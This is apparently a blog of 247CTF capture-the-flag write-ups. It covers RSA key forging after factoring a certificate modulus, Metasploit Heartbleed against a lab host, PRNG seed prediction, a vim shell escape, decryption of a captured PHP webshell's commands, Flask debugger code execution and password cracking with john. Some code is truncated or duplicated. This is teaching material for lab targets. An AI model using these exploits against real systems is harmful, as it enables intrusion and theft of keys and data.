The TLS certificate is transmitted in the handshake and reveals the
public key. If the RSA modulus has been factored previously, the private
key can be recovered.
from cryptography import x509 from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives.asymmetric.rsa import RSAPrivateKey, RSAPublicKey from scapy import dadict from scapy.allimport * from scapy.allimport Raw, load_layer, rdpcap from scapy.layers.inet import IP, TCP from scapy.layers.tls.allimport TLS from scapy.layers.tls.cert import Cert from scapy.layers.tls.handshake import TLSCertificate
for pkt in packets: if pkt.haslayer(Raw): raw = pkt[Raw].load try: tls_parsed = TLS(raw) tls_cert_layer = tls_parsed.getlayer(TLSCertificate) if tls_cert_layer: print("[-] Found TLS Certificate.") cert = tls_cert_layer.certs for _, x509_wrapper in cert: cert_list.append(x509_wrapper) print("[-] Extracted a TLS Certificate.") else: print("[-] Found TLS packet.") except Exception as e: print(f"[-] Error: {e}") continue return cert_list
deffind_matching_private_key(target_modulus: int, keys_directory: str) -> str | None: print(f"[*] Searching for matching private key in {keys_directory} ...")
for key_file in glob(os.path.join(keys_directory, "*")): try: withopen(key_file, "rb") as f: private_key = serialization.load_pem_private_key( f.read(), password=None, backend=default_backend() )
except ValueError as e: print(f"[-] Failed to parse public key: {e}") returnNone
defcheck_pcap(pcap_path): packets = rdpcap(pcap_path) packets.show() for pkt in packets: pkt.show() if pkt.haslayer(Raw): raw = pkt[Raw].load try: print(raw.decode()) except Exception as e: print(f"[-] Error: {e}") continue
if __name__ == "__main__": cert_list = find_cert(PCAP_FILE) print(cert_list) for cert_obj in cert_list: modulus = get_modulus(cert_obj) exponent = get_exponent(cert_obj) print(modulus) print(exponent)
# if modulus: # key_path = find_matching_private_key(modulus, KEYS) # print(key_path)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
[-] Found TLS packet. [-] Found TLS Certificate. [-] Extracted a TLS Certificate. [-] Found TLS packet. [-] Found TLS packet. [-] Found TLS Certificate. [-] Extracted a TLS Certificate. [-] Found TLS packet. [-] Found TLS packet. [-] Found TLS packet. [-] Found TLS packet. [-] Found TLS packet. [[X.509 Cert. Subject:/C=AU/O=247CTF/OU=net125/CN=127.0.0.1, Issuer:/C=AU/O=247CTF/OU=net125/CN=127.0.0.1], [X.509 Cert. Subject:/C=AU/O=247CTF/OU=net125/CN=127.0.0.1, Issuer:/C=AU/O=247CTF/OU=net125/CN=127.0.0.1]] 150140677816147665104219084736753210294673482912091623639530125054379822052662632476220418069658373540642718111649733795871151252404840997598533258881471779382418788567883517594075575444723340506445280678466322096113052425236787558022472785685579744210805862764465110689084328509029822107730392445215781001579 65537 150140677816147665104219084736753210294673482912091623639530125054379822052662632476220418069658373540642718111649733795871151252404840997598533258881471779382418788567883517594075575444723340506445280678466322096113052425236787558022472785685579744210805862764465110689084328509029822107730392445215781001579 65537
try: req = urllib.request.Request(url, headers=headers) with urllib.request.urlopen(req) as response: data = json.loads(response.read().decode("utf-8"))
status = data.get("status", "Unknown") factors = data.get("factors", [])
print(f"[*] Target : {number}") print(f"[*] Status : {status}")
if factors: result = " * ".join([f"{base}^{exp}"for base, exp in factors]) print(f"[*] Factors: {result}") else: print("[!] No factors returned.")
except urllib.error.URLError as e: print(f"[!] Network Error: {e.reason}") except ValueError: print("[!] JSON parsing failed. Did FactorDB change their API?")
p = 11443069641880629381891581986018548808448150675612774441982091938562801238612124445967724562059877882869924090566492089872161438646198325341704520958011761 q = 13120664517031861557695339067275706831429518210212092859212127044658713747906482358428924486662467583986570766086011893335839637764790393666582606794678939 e = 65537
n = p * q phi = (p - 1) * (q - 1) d = pow(e, -1, phi)
key = RSA.construct((n, e, d, p, q)) withopen("private_key.pem", "wb") as f: f.write(key.export_key()) print("Key forged successfully.")
Step 4: Import and Use in Wireshark
Import the generated private key into Wireshark to decrypt the TLS
traffic and recover the flag.
Key Insight
This challenge demonstrates why factorization of RSA moduli is
critical—if a modulus can be factored, the entire RSA cryptosystem is
broken for that key pair. FactorDB maintains a public database of
previously factored numbers.
Posted onInctfWord count in article: 863Reading time ≈3 mins.
Challenge analysis and method notes for 247CTF - Not My Modulus, covering 247ctf.
Given many private keys, identify which one corresponds to a TLS
connection captured in a PCAP file.
Vulnerability
The TLS certificate in the handshake reveals the public key
(modulus). By comparing the public key's modulus with all available
private keys, the correct one can be identified.
❯ sudo python scrapy2.py Ether / IP / TCP 172.17.0.3:39618 > 172.17.0.2:pcsync_https S Ether / IP / TCP 172.17.0.2:pcsync_https > 172.17.0.3:39618 SA Ether / IP / TCP 172.17.0.3:39618 > 172.17.0.2:pcsync_https A Ether / IP / TCP 172.17.0.3:39618 > 172.17.0.2:pcsync_https PA / Raw Ether / IP / TCP 172.17.0.2:pcsync_https > 172.17.0.3:39618 A Ether / IP / TCP 172.17.0.2:pcsync_https > 172.17.0.3:39618 PA / Raw Ether / IP / TCP 172.17.0.3:39618 > 172.17.0.2:pcsync_https A Ether / IP / TCP 172.17.0.3:39618 > 172.17.0.2:pcsync_https PA / Raw Ether / IP / TCP 172.17.0.2:pcsync_https > 172.17.0.3:39618 PA / Raw Ether / IP / TCP 172.17.0.3:39618 > 172.17.0.2:pcsync_https PA / Raw Ether / IP / TCP 172.17.0.2:pcsync_https > 172.17.0.3:39618 PA / Raw Ether / IP / TCP 172.17.0.3:39618 > 172.17.0.2:pcsync_https PA / Raw Ether / IP / TCP 172.17.0.2:pcsync_https > 172.17.0.3:39618 FA Ether / IP / TCP 172.17.0.3:39618 > 172.17.0.2:pcsync_https FA Ether / IP / TCP 172.17.0.2:pcsync_https > 172.17.0.3:39618 A None
In the TLSv1.2 handshake, the server sends its X.509 certificate
containing the RSA public key. In RSA, the public and private keys share
the same modulus (N).
from cryptography import x509 from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives.asymmetric.rsa import RSAPrivateKey, RSAPublicKey from scapy import dadict from scapy.allimport * from scapy.allimport Raw, load_layer, rdpcap from scapy.layers.inet import IP, TCP from scapy.layers.tls.allimport TLS from scapy.layers.tls.cert import Cert from scapy.layers.tls.handshake import TLSCertificate
for pkt in packets: if pkt.haslayer(Raw): raw = pkt[Raw].load try: tls_parsed = TLS(raw) tls_cert_layer = tls_parsed.getlayer(TLSCertificate) if tls_cert_layer: print("[-] Found TLS Certificate.") cert = tls_cert_layer.certs for _, x509_wrapper in cert: cert_list.append(x509_wrapper) print("[-] Extracted a TLS Certificate.") else: print("[-] Found TLS packet.") except Exception as e: print(f"[-] Error: {e}") continue return cert_list
deffind_matching_private_key(target_modulus: int, keys_directory: str) -> str | None: print(f"[*] Searching for matching private key in {keys_directory} ...")
for key_file in glob(os.path.join(keys_directory, "*")): try: withopen(key_file, "rb") as f: private_key = serialization.load_pem_private_key( f.read(), password=None, backend=default_backend() )
Posted onInctfWord count in article: 130Reading time ≈1 mins.
Challenge analysis and method notes for 247CTF - Sensitive Server Memory, covering 247ctf.
A webserver is storing sensitive data in memory. Exploit a known
vulnerability to read it.
Vulnerability
Heartbleed (CVE-2014-0160) - A critical
vulnerability in OpenSSL that allows reading server memory without
authentication. The vulnerability exploits the TLS heartbeat mechanism
to leak sensitive information including private keys, session tokens,
user data, and flags.
Solution
Use Metasploit's Heartbleed scanner module:
1 2 3 4 5 6
msfconsole msf > use auxiliary/scanner/ssl/openssl_heartbleed msf auxiliary(scanner/ssl/openssl_heartbleed) > set RHOSTS 95fe58ed8b8d1ce7.247ctf.com msf auxiliary(scanner/ssl/openssl_heartbleed) > set RPORT 50326 ... msf auxiliary(scanner/ssl/openssl_heartbleed) > run
The module will dump server memory, which contains the flag.
The returned flag belongs to the launched service instance; no
cross-instance invariance is established. Record the
generation/retrieval method and use the current instance response
instead of a fixed-answer spoiler.
Posted onInctfWord count in article: 302Reading time ≈1 mins.
Challenge analysis and method notes for 247CTF - The Flag Lottery, covering 247ctf.
Guess a random number to win the flag lottery. The server generates
the winning number using a seeded PRNG.
Vulnerability
The server seeds the random number generator with the current Unix
timestamp, which is predictable. Additionally, Python 2 and Python 3
have different PRNG implementations and string conversion behaviors.
Solution
The server code is vulnerable because:
Predictable seed: Unix timestamp is public
knowledge
Time window: Even if time is slightly off, we can
try nearby timestamps
Version differences: Python 2's str()
truncates floats, making predictions consistent
Use Python 2 to generate predictions for timestamps around the
server's current time:
host = "13721472f3c35e88.247ctf.com" port = 50316 context.log_level = "error"
# Try timestamps within a ±10 second window for offset in range(0, 10): r = remote(host, port) prompt = r.recvline() target_time = int(time.time()) + offset # Generate number using Python 2 seeding cmd = ["python2", "get_legacy_random.py", str(target_time)] payload = subprocess.check_output(cmd).decode().strip() print(f"[*] Predicting for time {target_time} (offset +{offset}s): {payload}") r.sendline(payload.encode()) response = r.recvall().decode() if "247" in response: print(f"[SUCCESS] {response.strip()}") r.interactive() break else: print(f"[-] Failed: {response.strip()}") r.close()
Helper script (get_legacy_random.py), specifically for
Python 2 syntax; it is not Python 3 source. The server-side generator
and Python 2 runtime are unavailable, so neither prediction equality nor
the timing window has been reproduced:
PRNGs seeded with time are not cryptographically secure. Use
secrets or os.urandom() for security-sensitive
randomness. Additionally, always be aware of version-specific
differences in language implementations when predicting values.
The returned flag belongs to the launched service instance; no
cross-instance invariance is established. Record the
generation/retrieval method and use the current instance response
instead of a fixed-answer spoiler.
Posted onInctfWord count in article: 95Reading time ≈1 mins.
Challenge analysis and method notes for 247CTF - The Text Editor Jail, covering 247ctf.
Escape a text editor jail and execute code to retrieve the flag.
Vulnerability
The web text editor uses vim commands. Vim's :!command
syntax can execute arbitrary shell commands, breaking out of the
restricted environment.
Solution
Use vim's command execution to escape the jail:
1
:!bash
This opens a bash shell where you can execute programs:
1 2 3
bash-4.3$ ls run_for_flag bash-4.3$ ./run_for_flag
The returned flag belongs to the launched service instance; no
cross-instance invariance is established. Record the
generation/retrieval method and use the current instance response
instead of a fixed-answer spoiler.
Posted onInctfWord count in article: 1.2kReading time ≈4 mins.
Challenge analysis and method notes for 247CTF - The Web Shell, covering 247ctf.
Challenge Description
1 2 3
Our web server was compromised again and we aren't really sure what the attacker was doing. Luckily, we only use HTTP and managed to capture network traffic during the attack! Can you figure out what the attacker was up to?
We start by analyzing the PCAP file to identify interesting HTTP
interactions. Using a simple Scapy script, we can filter for
200 OK responses to see what the server was returning.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
#!/usr/bin/env python3 from scapy.allimport *
PCAP_FILE = "web_shell.pcap"
packages = rdpcap(PCAP_FILE) for i, p inenumerate(packages): if p.haslayer(Raw): raw = p[Raw].load ifb"200 OK"in raw: try: print(f"[*] Packet {i+1} | Length: {len(raw)}") print(raw.decode()) print("-" * 20) except: continue
In the output, we notice a file upload form and a confirmation that
owned.php was uploaded:
1 2 3 4 5 6 7 8 9 10 11 12
[*] Packet 16640 HTTP/1.1200 OK ... <body> <form enctype="multipart/form-data" action="uploader.php" method="POST"> <p>Upload your file</p> <input type="file" name="uploaded_file"></input><br /> <input type="submit" value="Upload"></input> </form> </body> </html> The file owned.php has been uploaded
Checking the preceding packets (around index 16638), we find the
content of the uploaded owned.php.
2. Analyzing the Malicious
Web Shell
The uploaded file owned.php contains an obfuscated PHP
script.
By removing the noise (replacing [Z and
eq), we can reconstruct the logic. It's a sophisticated web
shell (similar to Behinder or Godzilla) that uses XOR encryption and
Zlib compression for C2 traffic.
Now that we have the key (81aebe18) and the protocol
markers, we can decrypt the subsequent traffic. We notice the attacker
is executing commands like ls and xxd to read
a file named y_flag_here.txt one byte at a time.
Example of a decrypted request:
chdir('/var/www/html/uploads');@error_reporting(0);@system('xxd -p -l1 -s31 ../y_flag_here.txt 2>&1');
4. Automated Flag
Reconstruction
To get the full flag, we need to iterate through all packets, decrypt
the requests to find the offset (-s parameter in
xxd), and decrypt the responses to find the hex value of
the character at that offset.
#!/usr/bin/env python3 """ Scapy HTTP/Webshell Traffic Analyzer ------------------------------------ A specialized utility for extracting and decrypting payloads from PCAP files, targeting traffic typical of PHP webshells (e.g., Behinder, AntSword). Includes logic for XOR decryption, Zlib decompression, and flag assembly. """
import base64 import re import urllib.parse import zlib
defextract_flag_fragment(raw_text): """ Parses decrypted output to identify flag fragments extracted via 'xxd'. Expects 'xxd -p -l1 -s[offset]' in request and 2-char hex in response. """ global current_offset raw_text = raw_text.strip() ifnot raw_text: return
# Match Request: Extract offset from xxd command if"xxd -p -l1 -s"in raw_text: match = re.search(r"-s(\d+)", raw_text) ifmatch: current_offset = int(match.group(1))
# Match Response: If we have an offset, convert hex response to char elif current_offset != -1and re.match(r"^[0-9a-fA-F]{2}$", raw_text): try: char = bytes.fromhex(raw_text).decode("utf-8") flag_data[current_offset] = char print( f"[\033[92m+\033[0m] Fragment Found: Offset {current_offset:02} -> '{char}'" ) except Exception as e: print(f"[-] Decode error: {e}") finally: current_offset = -1
defprocess_pcap(packets, regex): """Iterates through packets, searching for encrypted payloads via regex.""" print(f"[*] Analyzing {len(packets)} packets...")
for i, p inenumerate(packets): if p.haslayer(Raw): raw_payload = p[Raw].load match = re.search(regex, raw_payload) ifmatch: decrypted = decrypt_payload(match.group(1)) print(f"[*] Packet {i + 1} matched.") # print(f"Raw: {match.group(1)[:50]}...") # Debug print(f"Decrypted: {decrypted}")
extract_flag_fragment(decrypted) print("-" * 30)
defprint_final_flag(): """Sorts fragments by offset and prints the assembled flag.""" ifnot flag_data: print("\n[-] No flag fragments found in the analyzed packets.") return
sorted_chars = [flag_data[k] for k insorted(flag_data.keys())] final_flag = "".join(sorted_chars)
defcheck_packet_by_content(packets, content): """Heuristic search for specific raw bytes in a PCAP.""" for i, p inenumerate(packets): if p.haslayer(Raw) and content in p[Raw].load: print(f"[*] Content found in Packet {i + 1}") print(p[Raw].load.decode(errors="ignore"))
# --- Main Execution ---
if __name__ == "__main__": try: # Load necessary layers load_layer("tls")
# Load PCAP pkts = rdpcap(PCAP_FILE)
# Regex to capture content between specific webshell markers payload_regex = KH + b"(.+?)" + KF
Posted onInctfWord count in article: 180Reading time ≈1 mins.
Challenge analysis and method notes for 247CTF - Try And Catch, covering 247ctf.
Find a bug and trigger an exception in a Flask web application to
access the debug console.
Vulnerability
Flask debug mode with DebuggedApplication and
evalex=True allows interactive code execution through the
debugger console. The calculator endpoint accepts division operations
and lacks proper exception handling.
Solution
Step 1: Trigger an Exception
Send a division by zero request to the calculator:
The following block is a Python-console transcript, including the
>>> prompt and a redacted response; it is not a
standalone Python script. The target debugger and flag read have not
been rerun.
Never enable Flask debug mode in production. The Werkzeug debugger
with evalex=True provides a complete interactive Python
console, allowing arbitrary code execution with the web server's
privileges.
The returned flag belongs to the launched service instance; no
cross-instance invariance is established. Record the
generation/retrieval method and use the current instance response
instead of a fixed-answer spoiler.
Posted onInctfWord count in article: 175Reading time ≈1 mins.
Challenge analysis and method notes for 247CTF - The Encrypted Flag, covering 247ctf.
Decrypt an OpenSSL-encrypted file. The file was encrypted with
openssl enc using a password.
Vulnerability
OpenSSL's enc command uses EVP_BytesToKey for password
derivation, which is relatively weak compared to modern key derivation
functions. Common passwords can be cracked with a good wordlist.
Solution
Step 1: Identify the encryption
1 2
file encrypted_flag.enc encrypted_flag.enc: openssl enc'd data with salted password
Step 2: Convert to crackable format
1
openssl2john encrypted_flag.enc > hash
Step 3: Crack the password
1 2 3
john hash --wordlist=rockyou.txt john --show hash encrypted_flag.enc:*7¡Vamos!
The retained john --show line contains the complete
password *7¡Vamos!; neither its prefix nor the non-ASCII
punctuation may be dropped. UTF-8 bytes must be preserved. The salted
header alone does not identify cipher, digest or whether PBKDF2 was
used. AES-256-CBC is the recorded candidate below; the attachment and
matching KDF settings are unavailable, so decryption has not been
reproduced.